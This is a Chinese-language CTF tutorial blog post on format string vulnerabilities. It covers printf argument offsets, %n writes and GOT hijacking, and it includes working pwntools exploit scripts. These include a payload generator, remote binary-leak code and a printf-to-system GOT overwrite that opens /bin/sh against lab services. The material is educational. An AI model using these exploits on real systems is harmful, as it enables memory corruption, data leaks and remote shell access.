格式化字符串漏洞

总结:

格式化字符串即将计算机内存中表示的数据转化为人类可读的字符串。

顺带一提scanf,将人类的输入,即键盘上的字符,转换为内存中的数。

参数位置计算

linux下32位程序是栈传参,从左到右参数顺序为$esp+4,$esp+8,...;因此$esp+x的位置应该是格式化第x/4个参数。

linux下64位程序是寄存器加栈传参,从左到右参数顺序为$rdi,$rsi,$rdx,$rcx,$r8,$r9,$rsp+8,...;因此$rsp+x的位置应该是格式化第x/8+6个参数。

常用的格式化字符

用于地址泄露的格式化字符有:%x、%s、%p等;

用于地址写的格式化字符:%hhn(写入一字节),%hn(写入两字节),%n(32位写四字节,64位写8字节);

%< number>$type:直接作用第number个位置的参数,如:%7$x读第7个位置参数值,%7$n对第7个参数位置进行写。

%<number>c:输出number个字符,配合%n进行任意地址写,例如"%{}c%{}$hhn".format(address,offset)就是向offset0参数指向的地址最低位写成address

漏洞原理: 不识庐山真面目,只缘身在此山中

函数介绍

首先,对格式化字符串漏洞的原理进行简单介绍。

格式化字符串函数介绍

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数,可选

这里我们给出一个简单的例子,其实相信大多数人都接触过 printf 函数之类的。之后我们再一个一个进行介绍。

格式化字符串函数

常见的有格式化字符串函数有

  • 输入
    • scanf
  • 输出
函数 基本介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等 。。。

格式化字符串

这里我们了解一下格式化字符串的格式,其基本格式如下

%[parameter][flags][field width][.precision][length]type

每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注

  • parameter
    • n$,获取格式化字符串中的指定参数
  • flags + '\x20' - # 0
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,指定参数的长度
    • hh,输出一个字节。正常逻辑是printf打印int,期待int是char变来的。
    • h,输出一个双字节。正常逻辑是printf打印int,期待int是short变来的。
    • l,输出一个long int_sized,
    • ll,输出一个8字节。
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。打印其内容对应的二进制。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。打印其内容对应的二进制。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量
    • %, ‘%‘字面值,不接受任何 flags, width。

参数

就是相应的要输出的变量。

栈上格式化字符串漏洞利用

其实,在上一部分,我们展示了格式化字符串漏洞的两个利用手段

  • 使程序崩溃,因为 %s 对应的参数地址不合法的概率比较大。
  • 泄露内存
    • 泄露栈内存,如打印Canary等
    • 泄露任意地址内存
  • 覆盖内存
    • 步骤:
      1. 确定覆盖地址
      2. 确定相对偏移,地址与格式化字符串的地址之间偏移,利用%n$n改写
      3. 构造payload
    • 覆盖栈内存
      • hijack retaddr
    • 覆盖任意地址内存
      • 覆盖小数字,地址放在后面,n$ 中 n 要加上格式化字符串本身长度偏移,并保持对齐。另外,由于64位程序高位处爆0,地址也要放在后面。
      • 覆盖大数字,32位程序专属,地址放在前面(更好算偏移),需要注意用 %n$n 修改要加上前面的地址长度
        • hijack GOT

程序崩溃

通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个 %s 即可

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。

32位程序

覆盖地址

目标:覆盖0x0804a028处的数字为覆写为0x12345678

0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

首先,由于我们的字符串的偏移为 6,push ret,

所以我们可以确定我们的 payload 基本是这个样子的

a_addr = 0x0804A028

payload = flat([
	a_addr +3,
    a_addr +2,
    a_addr +1,
    a_addr +0,
    b"%2c%6$hhn",  #s1 = 0x12 - 4*4
    b"%34c%7$hhn", #s2 = 0x34 - 0x12
    b"%34c%8$hhn", #s3 = 0x56 - 0x34
    b"%34c%9$hhn", #s4 = 0x78 - 0x56
])

64位程序:

泄露地址(区别32位)

x64和x86在格式化字符串传参上只稍有不同,原因在于x64会把printf函数中的参数先传到6个寄存器中,分别是

RDI, RSI, RDX, RCX, R8, R9

64位程序格式化字符串由于输入到栈的局部变量中,故格式化字符串会存储在栈顶部,第六个参数即是format 。相比32位程序,32_printf会开辟栈帧,栈顶部第一个值为format的地址,第二个为参数 1,以此类推,需要确认格式化字符串的位置。

64位比起32位计算参数偏移更加的规律。

 (3)RCX  0x0
 (2)RDX  0x7fffffffda20 ◂— 0x3000000008
(format)RDI  0x7ffff7fb06a0 (_IO_2_1_stdout_) ◂— 0xfbad2084
 (1)RSI  0x7fffffffdb00 ◂— '%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x\n'
 (4)R8   0x0
 (5)R9   0x7ffff7fe0d60 (_dl_fini) ◂— endbr64

漏洞调用时内存情况:

*RAX  0x0
 RBX  0x401210 (__libc_csu_init) ◂— endbr64
 RCX  0x7ffff7ed0fd2 (read+18) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x100
 RDI  0x7fffffffdb00 ◂— 0x4141414141414141 ('AAAAAAAA')
 RSI  0x7fffffffdb00 ◂— 0x4141414141414141 ('AAAAAAAA')
 R8   0x0
 R9   0x7ffff7fe0d60 (_dl_fini) ◂— endbr64
 R10  0xfffffffffffffe1d
 R11  0x246
 R12  0x401090 (_start) ◂— endbr64
 R13  0x7fffffffdc60 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdb70 ◂— 0x0
 RSP  0x7fffffffdb00 ◂— 0x4141414141414141 ('AAAAAAAA')
*RIP  0x4011a4 (main+46) ◂— call   0x401070
───────────[ DISASM / x86-64 / set emulate on ]──────────────
   0x40118e <main+24>    mov    edi, 0
   0x401193 <main+29>    call   read@plt                      <read@plt>

   0x401198 <main+34>    lea    rax, [rbp - 0x70]
   0x40119c <main+38>    mov    rdi, rax
   0x40119f <main+41>    mov    eax, 0
 ► 0x4011a4 <main+46>    call   printf@plt                      <printf@plt>
        format: 0x7fffffffdb00 ◂— 0x4141414141414141 ('AAAAAAAA')
        vararg: 0x7fffffffdb00 ◂— 0x4141414141414141 ('AAAAAAAA')

   0x4011a9 <main+51>    mov    rax, qword ptr [rip + 0x2e90] <target>
   0x4011b0 <main+58>    movabs rdx, 0x7ffff7ff7123
   0x4011ba <main+68>    cmp    rax, rdx
   0x4011bd <main+71>    jne    main+87                      <main+87>

   0x4011bf <main+73>    lea    rdi, [rip + 0xe42]
───────────────────────[ STACK ]────────────────────────────
00:0000│ rdi rsi rsp 0x7fffffffdb00 ◂— 0x4141414141414141 ('AAAAAAAA')
01:0008│             0x7fffffffdb08 ◂— 0x70252e2e2e2e2e2e ('......%p')
... ↓                6 skipped
───────────────────────[ BACKTRACE ]───────────────────────────
 ► f 0         0x4011a4 main+46
   f 1   0x7ffff7de7083 __libc_start_main+243
───────────────────────────────────────────────────────────────
pwndbg> n
AAAAAAAA......0x7fffffffdb00......0x100......0x7ffff7ed0fd2......(nil)......0x7ffff7fe0d60......0x4141414141414141......0x70252e2e2e2e2e2e......0x70252e2e2e2e2e2e......0x70252e2e2e2e2e2e......0x70252e2e2e2e2e2e

输出情况:

AAAAAAAA......0x7fffffffdb00......0x100......0x7ffff7ed0fd2......(nil)......0x7ffff7fe0d60......0x4141414141414141......0x70252e2e2e2e2e2e......0x70252e2e2e2e2e2e......0x70252e2e2e2e2e2e......0x70252e2e2e2e2e2e

覆盖内存:

由于p64()打包64位地址,高地址处爆0, 故要修改的地址只能放后面

可以称作是覆盖小数字的升级版,按照覆盖小数字,我们需要考虑

  • 格式化字符串参数位置( n$ ) = 6 + payload中格式化字符串长/8

  • 保持地址对齐

内存结构

寄存器中放前5个

栈中:

warning_format(第六个参数) + padding + overwirte_addr

任意地址写

stack_addr: target 。 target 是payload的组成部分,是可以被控制的跳板,能被任意写,故实现了任意地址写。

覆盖小数字

target -> 2

payload = b"%2c%9$hhn" + b"%254c%10$hhn"
payload = payload.ljust(0x18,b'a') # 6+3
payload += p64(target) + p64(target + 1)
p.send(payload)
覆盖大数字(地址)

target -> 0x7ffff7ff7123

payload = b"%35c%16$hhn" + b"%78c%17$hhn" + b"%142c%18$hhn"  + b"%248c%19$hhn" + b"%8c%20$hhn" + b"%128c%21$hhn"
payload = payload.ljust(0x50,b'a') # 6+10
payload += p64(target) + p64(target + 1) + p64(target + 2) + p64(target + 3) + p64(target + 4) + p64(target + 5)

以上payload构造可通过脚本实现:

low1 = 0x23 = (0x7FFFF7FF7123 & 0xff)
low2 = 0x71 = (0x7FFFF7FF7123 & 0xff00) >> 8
low3 = 0xff = (0x7FFFF7FF7123 & 0xff0000) >> 16
low4 = 0xf7 = (0x7FFFF7FF7123 & 0xff000000) >> 24
low5 = 0xff = (0x7FFFF7FF7123 & 0xff00000000) >> 32
low6 = 0x7f = (0x7FFFF7FF7123 & 0xff0000000000) >> 40

"%35c" : 35 = 0x23 = (0x7FFFF7FF7123 & 0xff) = low1 - 0
"%78c" : 78 = 0x71 - 0x23 = (0x7FFFF7FF7123 & 0xff00) >> 8 - (0x7FFFF7FF7123 & 0xff) = low2 - low1
"%142c" : 142 = 0xff - 0x71 = low3 - low2
"%248c" : 248 = (low4 - low3) + 0x100
"%8c" : 8 = low5 - low4
"%128c" : 128 : (low6 - low5) + 0x100

再进一步用mod的运算法则来推一下,发现都遵从如下规律

“%kc” : k : ((low[n] - low[n - 1]) + 0x100) % 0x100


def format_string_template_64(location_arg,target,after_change,len_other_string = 0,ljust_location = 0x50,bit = 0x6):

	'''
	第一个参数是格式化字符串的位置,即第几个参数
	第二个参数是要改哪里的值
	第三个参数是把想把目标值改成什么值
	第四个参数是看看在printf之前还有没有奇奇怪怪的字符串,比如"fmtstr:",这样在之后输入之前要减去len("fmtstr:"),默认是0
	第五个参数是ljust填补核心payload之后,让其0x8个字节对齐,默认是0x50
	第六个参数是要覆盖的位数,默认为6
	'''
	if bit == 1:
		low1 = (after_change & 0xff)

		c1 = (low1 - len_other_string + 0x100) % 0x100

		location_arg1 = location_arg + ljust_location / 0x8

		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload.ljust(ljust_location,'a')

		payload = payload + p64(target)

	if bit == 2:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8

		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100

		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1

		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload.ljust(ljust_location,'a')

		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)

	if bit == 3:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)

	if bit == 4:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
		low4 = (after_change & 0xff000000) >> 24
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
		c4 = (low4 - low3 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
		location_arg4 = location_arg3 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)
		payload = payload + p64(target + 0x3)

	if bit == 5:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
		low4 = (after_change & 0xff000000) >> 24
		low5 = (after_change & 0xff00000000) >> 32
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
		c4 = (low4 - low3 + 0x100) % 0x100
		c5 = (low5 - low4 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
		location_arg4 = location_arg3 + 1
		location_arg5 = location_arg4 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
		payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)
		payload = payload + p64(target + 0x3)
		payload = payload + p64(target + 0x4)

	if bit == 6:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
		low4 = (after_change & 0xff000000) >> 24
		low5 = (after_change & 0xff00000000) >> 32
		low6 = (after_change & 0xff0000000000) >> 40
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
		c4 = (low4 - low3 + 0x100) % 0x100
		c5 = (low5 - low4 + 0x100) % 0x100
		c6 = (low6 - low5 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
		location_arg4 = location_arg3 + 1
		location_arg5 = location_arg4 + 1
		location_arg6 = location_arg5 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
		payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
		payload = payload + '%' + str(c6) + 'c' + '%' + str(location_arg6) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)
		payload = payload + p64(target + 0x3)
		payload = payload + p64(target + 0x4)
		payload = payload + p64(target + 0x5)

	return payload

target = 0x601050
dbg()

# 覆盖大数字: payload = format_string_template_64(6,target,0x7FFFF7FF7123)
# 覆盖小数字: payload = format_string_template_64(6,target,0x2,0,0x20,2)

格式化字符串盲打

原理

所谓格式化字符串盲打指的是只给出可交互的 ip 地址与端口,不给出对应的 binary 文件来让我们进行 pwn,其实这个和 BROP 差不多,不过 BROP 利用的是栈溢出,而这里我们利用的是格式化字符串漏洞。一般来说,我们按照如下步骤进行

  • 确定程序的位数
  • 确定漏洞位置
  • 利用

由于没找到比赛后给源码的题目,所以自己简单构造了两道题。

例子 1 - 泄露栈

源码和部署文件均放在了对应的文件夹 fmt_blind_stack 中。

确定程序位数

我们随便输入了 %p,程序回显如下信息

➜  blind_fmt_stack git:(master) ✗ nc localhost 9999
%p
0x7ffd4799beb0
G�flag is on the stack%                          

告诉我们 flag 在栈上,同时知道了该程序是 64 位的,而且应该有格式化字符串漏洞。

利用

那我们就一点一点测试看看

from pwn import *
context.log_level = 'error'


def leak(payload):
    sh = remote('127.0.0.1', 9999)
    sh.sendline(payload)
    data = sh.recvuntil('\n', drop=True)
    if data.startswith('0x'):
        print p64(int(data, 16))
    sh.close()


i = 1
while 1:
    payload = '%{}$p'.format(i)
    leak(payload)
    i += 1

最后在输出中简单看了看,得到 flag

////////
////////
\x00\x00\x00\x00\x00\x00\x00\xff
flag{thi
s_is_fla
g}\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\xfe\x7f\x00\x00

例子 2 - 盲打劫持 got

源码以及部署文件均已经在 blind_fmt_got 文件夹中。

确定程序位数

通过简单地测试,我们发现这个程序是格式化字符串漏洞函数,并且程序为 64 位。

➜  blind_fmt_got git:(master) ✗ nc localhost 9999
%p
0x7fff3b9774c0

这次啥也没有回显,又试了试,发现也没啥情况,那我们就只好来泄露一波源程序了。

确定偏移

在泄露程序之前,我们还是得确定一下格式化字符串的偏移,如下

➜  blind_fmt_got git:(master) ✗ nc localhost 9999
aaaaaaaa%p%p%p%p%p%p%p%p%p
aaaaaaaa0x7ffdbf920fb00x800x7f3fc9ccd2300x4006b00x7f3fc9fb0ab00x61616161616161610x70257025702570250x70257025702570250xa7025

据此,我们可以知道格式化字符串的起始地址偏移为 6。

泄露 binary

由于程序是 64 位,所以我们从 0x400000 处开始泄露。一般来说有格式化字符串漏洞的盲打都是可以读入 ‘\x00’ 字符的,,不然没法泄露怎么玩,,除此之后,输出必然是 ‘\x00’ 截断的,这是因为格式化字符串漏洞利用的输出函数均是 ‘\x00’ 截断的。。所以我们可以利用如下的泄露代码。

##coding=utf8
from pwn import *

##context.log_level = 'debug'
ip = "127.0.0.1"
port = 9999


def leak(addr):
    # leak addr for three times
    num = 0
    while num < 3:
        try:
            print 'leak addr: ' + hex(addr)
            sh = remote(ip, port)
            payload = '%00008$s' + 'STARTEND' + p64(addr)
            # 说明有\n,出现新的一行
            if '\x0a' in payload:
                return None
            sh.sendline(payload)
            data = sh.recvuntil('STARTEND', drop=True)
            sh.close()
            return data
        except Exception:
            num += 1
            continue
    return None

def getbinary():
    addr = 0x400000
    f = open('binary', 'w')
    while addr < 0x401000:
        data = leak(addr)
        if data is None:
            f.write('\xff')
            addr += 1
        elif len(data) == 0:
            f.write('\x00')
            addr += 1
        else:
            f.write(data)
            addr += len(data)
    f.close()
getbinary()

需要注意的是,在 payload 中需要判断是否有 ‘\n’ 出现,因为这样会导致源程序只读取前面的内容,而没有办法泄露内存,所以需要跳过这样的地址。

分析 binary

利用 IDA 打开泄露的 binary ,改变程序基地址,然后简单看看,可以基本确定源程序 main 函数的地址

seg000:00000000004005F6                 push    rbp
seg000:00000000004005F7                 mov     rbp, rsp
seg000:00000000004005FA                 add     rsp, 0FFFFFFFFFFFFFF80h
seg000:00000000004005FE
seg000:00000000004005FE loc_4005FE:                             ; CODE XREF: seg000:0000000000400639j
seg000:00000000004005FE                 lea     rax, [rbp-80h]
seg000:0000000000400602                 mov     edx, 80h ; '€'
seg000:0000000000400607                 mov     rsi, rax
seg000:000000000040060A                 mov     edi, 0
seg000:000000000040060F                 mov     eax, 0
seg000:0000000000400614                 call    sub_4004C0
seg000:0000000000400619                 lea     rax, [rbp-80h]
seg000:000000000040061D                 mov     rdi, rax
seg000:0000000000400620                 mov     eax, 0
seg000:0000000000400625                 call    sub_4004B0
seg000:000000000040062A                 mov     rax, cs:601048h
seg000:0000000000400631                 mov     rdi, rax
seg000:0000000000400634                 call    near ptr unk_4004E0
seg000:0000000000400639                 jmp     short loc_4005FE

可以基本确定的是 sub_4004C0 为 read 函数,因为读入函数一共有三个参数的话,基本就是 read 了。此外,下面调用的 sub_4004B0 应该就是输出函数了,再之后应该又调用了一个函数,此后又重新跳到读入函数处,那程序应该是一个 while 1 的循环,一直在执行。

利用思路

分析完上面的之后,我们可以确定如下基本思路

  • 泄露 printf 函数的地址,
  • 获取对应 libc 以及 system 函数地址
  • 修改 printf 地址为 system 函数地址
  • 读入 /bin/sh; 以便于获取 shell

利用程序

程序如下。

##coding=utf8
import math
from pwn import *
from LibcSearcher import LibcSearcher
##context.log_level = 'debug'
context.arch = 'amd64'
ip = "127.0.0.1"
port = 9999


def leak(addr):
    # leak addr for three times
    num = 0
    while num < 3:
        try:
            print 'leak addr: ' + hex(addr)
            sh = remote(ip, port)
            payload = '%00008$s' + 'STARTEND' + p64(addr)
            # 说明有\n,出现新的一行
            if '\x0a' in payload:
                return None
            sh.sendline(payload)
            data = sh.recvuntil('STARTEND', drop=True)
            sh.close()
            return data
        except Exception:
            num += 1
            continue
    return None


def getbinary():
    addr = 0x400000
    f = open('binary', 'w')
    while addr < 0x401000:
        data = leak(addr)
        if data is None:
            f.write('\xff')
            addr += 1
        elif len(data) == 0:
            f.write('\x00')
            addr += 1
        else:
            f.write(data)
            addr += len(data)
    f.close()


##getbinary()
read_got = 0x601020
printf_got = 0x601018
sh = remote(ip, port)
## let the read get resolved
sh.sendline('a')
sh.recv()
## get printf addr
payload = '%00008$s' + 'STARTEND' + p64(read_got)
sh.sendline(payload)
data = sh.recvuntil('STARTEND', drop=True).ljust(8, '\x00')
sh.recv()
read_addr = u64(data)

## get system addr
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
log.success('system addr: ' + hex(system_addr))
log.success('read   addr: ' + hex(read_addr))
## modify printf_got
payload = fmtstr_payload(6, {printf_got: system_addr}, 0, write_size='short')
## get all the addr
addr = payload[:32]
payload = '%32d' + payload[32:]
offset = (int)(math.ceil(len(payload) / 8.0) + 1)
for i in range(6, 10):
    old = '%{}$'.format(i)
    new = '%{}$'.format(offset + i)
    payload = payload.replace(old, new)
remainer = len(payload) % 8
payload += (8 - remainer) * 'a'
payload += addr
sh.sendline(payload)
sh.recv()

## get shell
sh.sendline('/bin/sh;')
sh.interactive()

这里需要注意的是这一段代码

## modify printf_got
payload = fmtstr_payload(6, {printf_got: system_addr}, 0, write_size='short')
## get all the addr
addr = payload[:32]
payload = '%32d' + payload[32:]
offset = (int)(math.ceil(len(payload) / 8.0) + 1)
for i in range(6, 10):
    old = '%{}$'.format(i)
    new = '%{}$'.format(offset + i)
    payload = payload.replace(old, new)
remainer = len(payload) % 8
payload += (8 - remainer) * 'a'
payload += addr
sh.sendline(payload)
sh.recv()

fmtstr_payload 直接得到的 payload 会将地址放在前面,而这个会导致 printf 的时候 ‘\x00’ 截断(关于这一问题,pwntools 目前正在开发 fmt_payload 的加强版,估计快开发出来了。)。所以我使用了一些技巧将它放在后面了。主要的思想是,将地址放在后面 8 字节对齐的地方,并对 payload 中的偏移进行修改。需要注意的是

offset = (int)(math.ceil(len(payload) / 8.0) + 1)

这一行给出了修改后的地址在格式化字符串中的偏移,之所以是这样在于无论如何修改,由于 ‘%order$hn’ 中 order 多出来的字符都不会大于 8。具体的可以自行推导。

题目

  • SuCTF2018 - lock2 (主办方提供了 docker 镜像: suctf/2018-pwn-lock2)

非栈(堆)上格式化字符串漏洞利用

对于BSS段或是堆上格式化字符串,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。下面以SUCTF中playfmt为例,介绍一下常用的非栈上格式化字符串漏洞的利用方法

使用条件:

首先是需要一个循环触发格式化字符串漏洞的条件,上述的例题中直接存在循环触发漏洞的情况,如果实际情况只能单次触发,可以尝试能否劫持__libc_csu_fini/malloc/free等函数造成循环触发漏洞;

然后就是需要栈上存在单链表结构,64位程序需要三个节点地址,32位程序可能只需要两个节点(本地测试32位的地址可以通过%n一次性写入);

最后需要在循环触发漏洞的期间,栈上使用到的地址空间不被破坏。

泄漏地址

首先需要得到当前栈的地址和libc的基地址,这些地址可以很轻松的在栈上找到,其中esp+0x18存放了栈地址,esp+0x20存放了libc的地址,可以得到分别是第6个参数和第8个参数,直接传入%6$p%8$p即可得到栈地址和libc地址。

任意地址写

这里主要需要解决的就是如何将要改写的地址放在栈上。实现任意地址写需要依赖栈上存在一个链式结构,如0xffb5c308->0xffb5c328->0xffb5c358,这三个地址都在栈上。

复习一下格式化字符串%n:

  • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量

  • %< number>$type:直接作用第number个位置的参数,如:%7$x读第7个位置参数值,%7$n对第7个参数位置进行写。

    %<number>c:输出number个字符,配合%n进行任意地址写,例如"%{}c%{}$hhn".format(address,offset)就是向offset0参数指向的地址最低位写成address

0xffb5c308| +0x0018: 0xffb5c328  -> 0xffb5c358  <- 0

下图是一个简单的栈地址空间图,offset表示格式化的参数位置。

通过%(offset0)hhn,解析address1为整形指针,往address1处把已经成功输出的字符个数写一个字节。

通过%(offset1)hhn,解析changed_address2为整形指针,往changed_address2把已经成功输出的字符个数写一个字节。

address1是跳板,到了address2我们可以实现任意写,通过address2,我们可以实现任意地址写

			        ->|-----------------|
              ESP   ->|                 |
                    ->|-----------------|
		            ->|       ...       |
			        ->|-----------------|
address0(offset0) 10->|    address1     |
|			        ->|-----------------|
|			        ->|       ...       |
v                   ->|-----------------|
address1(offset1) 15->| address2   | C  |
|                   ->|-----------------|
|			        ->|       ...       |
v                   ->|-----------------|
address2(offset2)+n ->| 3  | 2 | 1 |  0 |  
                    ->|-----------------|
			        ->|       ...       |
			        ->|       ...       |

一次fmt机会

需要RELRO 保护全关

修改 fini_array 为main函数即可循环

objdump -D ./fmt_once |grep fini_array

漏洞程序:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int sys(char *cmd){
	system(cmd);
}

int init_func(){
	setvbuf(stdin,0,2,0);
	setvbuf(stdout,0,2,0);
	setvbuf(stderr,0,2,0);
	return 0;
}

int dofunc(){
	char buf[0x100];
	puts("input: ");
	read(0,buf,0x100);
	printf(buf);
	return 0;
}

int main(){
	init_func();
	dofunc();
	return 0;
}

格式化字符串漏洞
https://k3ppf0r.pages.dev/2021/03/11/二进制安全/PWN/格式化字符串漏洞/
作者
k3ppf0r
发布于
2021年3月11日
许可协议